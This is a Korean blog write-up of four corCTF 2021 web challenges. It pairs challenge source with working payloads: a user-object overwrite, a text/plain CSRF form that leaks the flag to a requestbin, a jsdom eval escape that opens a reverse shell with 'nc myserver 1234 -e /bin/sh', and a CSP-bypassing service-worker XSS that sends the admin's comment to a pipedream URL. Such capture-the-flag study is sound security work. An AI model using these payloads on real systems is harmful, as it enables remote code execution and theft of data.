Profile

i love cat

as3617

corCTF 2021 - Web writeup

buyme

플래그 구매하는 기능에서 취약점이 발생한다.

router.post("/buy", requiresLogin, async (req, res) => {
    if(!req.body.flag) {
        return res.redirect("/flags?error=" + encodeURIComponent("Missing flag to buy"));
    }

    try {
        db.buyFlag({ user: req.user, ...req.body });
    }
    catch(err) {
        return res.redirect("/flags?error=" + encodeURIComponent(err.message));
    }

    res.redirect("/?message=" + encodeURIComponent("Flag bought successfully"));
});

전개연산자를 쓰고 있기 때문에 user object를 덮는 것이 가능하다.
proxy툴로 잡아서 json data를 아래와 같이 수정하면 플래그를 얻을 수 있다.

payload

{"flag":"corCTF","user":{"user":"as3617","flags":[]}}

phpme

<?php
    include "secret.php";

    // https://stackoverflow.com/a/6041773
    function isJSON($string) {
        json_decode($string);
        return json_last_error() === JSON_ERROR_NONE;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
            // https://stackoverflow.com/a/7084677
            $body = file_get_contents('php://input');
            if(isJSON($body) && is_object(json_decode($body))) {
                $json = json_decode($body, true);
                if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
                    echo "<script>\n";
                    echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
                    echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
                    echo "</script>\n";
                }
                else {
                    echo "nope :)";
                }
            }
            else {
                echo "not json bro";
            }
        }
        else {
            echo "ur not admin!!!";
        }
    }
    else {
        show_source(__FILE__);
    }
?>

소스코드를 주는데 http body에서 json data를 가져와서 parsing한다음 여러가지 동작을 하는 것을 확인할 수 있다.
secret쿠키는 아마도 admin bot한테 있을거라 생각했고 우린 post data를 json 형태로 bot한테 넘겨주기만 하면 된다.
이때 굉장히 재밌는 걸 찾을 수 있는데 form을 전달할 때 text/plain이나 multipart/form-data로 content-type을 넘겨주고
아래와 같이 전달해주면 문제에서 json parsing을 진행할 때 오류 없이 잘 돌아간다.

{"asdf":"asdf=","yep":"yep yep yep","url":"myserver"}

name에다가 {"adsf":"asdf를 넣어주고 value에다가 "부터 }까지 넣어주면 된다. form data전송은 내 서버에 html 파일을 올린다음 admin bot이 내 서버를 방문하게 해서 전송했다. 좀 기다리면 바로 플래그를 준다.

payload

<head>
<script>
function go(){
        a='","yep":"yep yep yep","url":"https://requestbinurl/"}';
document.getElementById('exploit').value=a;
document.getElementById('form1').submit();
}
</script>
</head>
<body onload=go()>
<form action="https://phpme.be.ax/" method="post" id="form1" enctype="text/plain">
        <input type="sadf" id="exploit" value='' name='{"asdf":"asd'>
</form>
</form>
</body>

readme

url을 넘겨주면 html 데이터를 파싱해서 렌더링해주는 기능을 구현한 문제다.
jsDOM을 사용하고 있는데 사용하고 있는 라이브러리는 다 최신버전이라서 특별한 취약점이 발생하지 않는다.
하지만 Dom을 load하는 기능에서 잘못된 eval함수 사용으로 rce가 가능하다.

const loadNextPage = async (dom, socket) => {
    let targets = [
        ...Array.from(dom.window.document.querySelectorAll("a")), 
        ...Array.from(dom.window.document.querySelectorAll("button"))
    ];
    targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));

    if(targets.length == 0) return;
    let target = targets[targets.length - 1];

    if(target.tagName === "A") {
        let newDom = await refetch(socket, target.href);
        return newDom;
    }
    else if(target.tagName === "BUTTON") {
        dom.window.eval(target.getAttribute("onclick"));
        return dom;
    }

    return;
};  

코드를 보면 target의 click atturibute의 값을 가져와서 eval로 실행해준다.
이때 jsDom의 context가 아닌 외부에서 eval을 실행할 수 있다. 그래서 아래와 같이 html을 작성한다음 서버에 업로드하고
url을 전송하면 reverse shell을 획득할 수 있다.

payload

<!DOCTYPE html>
<html>
  <p>die</p>
  <button class="next" onclick='global.process.mainModule.require("child_process").exec("nc myserver 1234 -e /bin/sh")'>next</button>
</html>

blogme

프로필 사진을 업로드하고 게시글을 작성할 수 있는 기능을 구현한 문제다. admin bot은 게시글 url을 넘겨주면 flag를 댓글에 작성해주는데 백엔드에서 플래그를 제거한 뒤 db에 넣는다.
우선 xss를 찾기 위해 태그가 삽입가능한 곳을 찾아보았다.

게시글을 작성할 때 내용에 스크립트 태그를 삽입할 수 있다. 하지만 csp로 인해 script를 실행하는 것이 불가능하다.

csp는 다음과 같이 적용되어있다.

object-src 'none'; script-src 'self' 'unsafe-eval';

script를 실행하려면 서버에 js파일을 업로드하던지 이미 있는 javascript file을 이용해야하는데 file을 upload하는 부분에서 mimetype을 컨트롤할 방법이 없어서 이미 있는 javascript file을 이용해야한다.

게시글을 작성할 때 email이 내용에 포함되어있으면 다음 스크립트를 로드한다.

https://blogme.be.ax/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js

cloudflare가 자동으로 추가하는 script인데

https://demo.vwzq.net/cloudflare/value.html

이때 csp를 bypass해서 script를 실행할 수 있는 poc가 존재한다.

이제 스크립트를 맘대로 실행하는 것이 가능한데 admin이 comment를 작성할 때 서버로 전송하기 전에 가로채야 플래그를 얻을 수 있다.
대회 시간 도중에 생각한 시나리오는 다음과 같다.

window.open으로 https://blogme.be.ax/cdn-cgi/scripts/를 열어서 csp가 반환되지 않는 페이지 생성 ->
페이지에 스크립트를 삽입한 뒤 window.opener을 이용하여 parent 객체에 접근 ->
comment를 작성할 때 textarea에 접근해서 flag 릭
or
comment페이지를 열었을 때 페이지를 변조하여 내 서버로 flag 전송

정도였다.
하지만 보안상의 이유로 parent page의 url이 변경되는 event를 감지한 뒤에 post page의 document에는 접근할 수 있었지만 /api/comment page의 document에는 접근이 안됬다.
그러다 대회가 끝난 뒤 라업을 보니 Service Worker을 이용하여 comment page를 변조하여 flag를 leak하는 문제였다.
admin은 mimetype을 javascript로 설정할 수 있기 때문에 xss를 이용하여 admin권한으로 스크립트를 업로드하고 serviceworker로 업로드한 스크립트를 register하면 comment page를 변조하여 flag를 leak할 수 있게 된다.

payload

<script>
let stage1 = () => { fetch("data:application/javascript;base64,c2VsZi5hZGRFdmVudExpc3RlbmVyKCdmZXRjaCcsIGFzeW5jIChlKSA9PiB7CiAgICBjb25zb2xlLmxvZyhlKTsKICAgIGlmKGUucmVxdWVzdC51cmwuaW5jbHVkZXMoIi9hcGkvY29tbWVudCIpKSB7CiAgICAgICAgZS5yZXNwb25kV2l0aChuZXcgUmVzcG9uc2UobmV3IEJsb2IoW2AKCjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wLCBzaHJpbmstdG8tZml0PW5vIj4KICAgIDx0aXRsZT5ibG9nbWU8L3RpdGxlPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvYXNzZXRzL2Jvb3RzdHJhcC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PUxhdG86d2dodEA0MDA7NzAwJmFtcDtkaXNwbGF5PXN3YXAiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9TG9yYSI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9hc3NldHMvY3NzL3N0eWxlcy5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxuYXYgY2xhc3M9Im5hdmJhciBuYXZiYXItZGFyayBuYXZiYXItZXhwYW5kLW1kIHRleHR3aGl0ZSBiZy1wcmltYXJ5IHRleHQtd2hpdGUgbmF2aWdhdGlvbi1jbGVhbiI+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICAgICAgPGEgY2xhc3M9Im5hdmJhci1icmFuZCIgaHJlZj0iLyI+YmxvZ21lPC9hPgogICAgICAgICAgICA8YnV0dG9uIGRhdGEtYnMtdG9nZ2xlPSJjb2xsYXBzZSIgY2xhc3M9Im5hdmJhci10b2dnbGVyIiBkYXRhLWJzLXRhcmdldD0iI25hdmNvbCI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0idmlzdWFsbHktaGlkZGVuIj5Ub2dnbGUgbmF2aWdhdGlvbjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+CiAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2xsYXBzZSBuYXZiYXItY29sbGFwc2UiIGlkPSJuYXZjb2wiPgogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZiYXItbmF2IG1zLWF1dG8iPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iLyI+SG9tZTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iL3Byb2ZpbGUiPlByb2ZpbGU8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj48YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ii9wb3N0cyI+WW91ciBQb3N0czwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iL2FwaS9sb2dvdXQiPkxvZ291dDwvYT48L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L25hdj4KCiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIgY2FyZCBiZy1zZWNvbmRhcnkgbXQtNSBwLTAiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtaGVhZGVyIj48aDMgY2xhc3M9Im0tMCI+Q29tbWVudDwvaDM+PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC10ZXh0Ij5FbnRlciB5b3VyIGNvbW1lbnQgYmVsb3c6PC9kaXY+CiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSJodHRwczovL2Vuanoycm5sYm12eGcueC5waXBlZHJlYW0ubmV0LyI+CiAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJpZCIgdmFsdWU9IjcyMTNmNTU0LTJiOTgtNDIyYS04NDE2LTdhNDVkNmM3MTZiZSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cCBtdC0zIj4KICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaW5wdXQtZ3JvdXAtdGV4dCI+Q29tbWVudDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0idGV4dCIgcm93cz0zIG1heGxlbmd0aD0xNTA+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iX2NzcmYiIHZhbHVlPSJRYUpWcFJleC1ZeDNVaFZSRENIV0tUOEdnSndnOFA5SGtSQU0iPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5IG10LTMgZmxvYXQtZW5kIiB0eXBlPSJzdWJtaXQiPkNvbW1lbnQ8L2J1dHRvbj4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8c2NyaXB0IHNyYz0iL2Fzc2V0cy9ib290c3RyYXAvanMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JgICsgYGlwdD4KICAgIDxzY3JpcHQgc3JjPSIvYXNzZXRzL2pzL2pxdWVyeS5taW4uanMiPjwvc2NyYCArIGBpcHQ+CiAgICA8c2NyaXB0IHNyYz0iL2Fzc2V0cy9qcy9zY3JpcHQuanMiPjwvc2NyYCArIGBpcHQ+CjwvYm9keT4KPC9odG1sPgogICAgICAgIGBdLCB7IHR5cGU6ICd0ZXh0L2h0bWwnIH0pKSk7CiAgICB9CiAgICByZXR1cm47Cn0pOw==").then(r => r.blob()).then(async b => {
                let formData  = new FormData();
                formData.append("blob", b, "test.js");
                 let stage2 = (SW_FILEID) => {
                    navigator.serviceWorker.register(`https://blogme.be.ax/api/file?id=${SW_FILEID}`, {
                        scope: '/api/comment'
                    });
                };
                let pfp = await (await fetch("/profile")).text();
                let csrf = /\?_csrf=(.*?)"/.exec(pfp)[1];

                let response = await fetch("/api/upload/?_csrf=" + encodeURIComponent(csrf), {
                   method: 'POST',
                   body: formData
                });
                navigator.sendBeacon("https://?.x.pipedream.net/", new URLSearchParams(new URL(response.url).search).get("message"));
               stage2(new URLSearchParams(new URL(response.url).search).get("message").slice(-36));
            });
        };



        window.name = "(" + stage1.toString() + ")();";
        window.location="https://blogme.be.ax/post/"; // include <script>eval(name);</script> page
</script>

위의 html파일을 내 서버에 업로드한 뒤 meta tag를 이용하여 봇을 내 서버로 데려오면 eval(name)을 이용해서 문제 서버에서 script를 실행할 수 있다. 좀 기다리면 requestbin에서 플래그를 확인할 수 있다.

'ctf writeup' 카테고리의 다른 글

asis ctf 2021 - web writeup  (0) 2021.10.25
corCTF 2021 - mathme writeup  (0) 2021.08.24
corCTF 2021 - Web writeup  (0) 2021.08.23
SSTF 2021 - poxe_center writeup  (0) 2021.08.17
IJCTF 2021 Memory  (0) 2021.07.25
Google CTF 2021 - LETSCHAT [web]  (4) 2021.07.19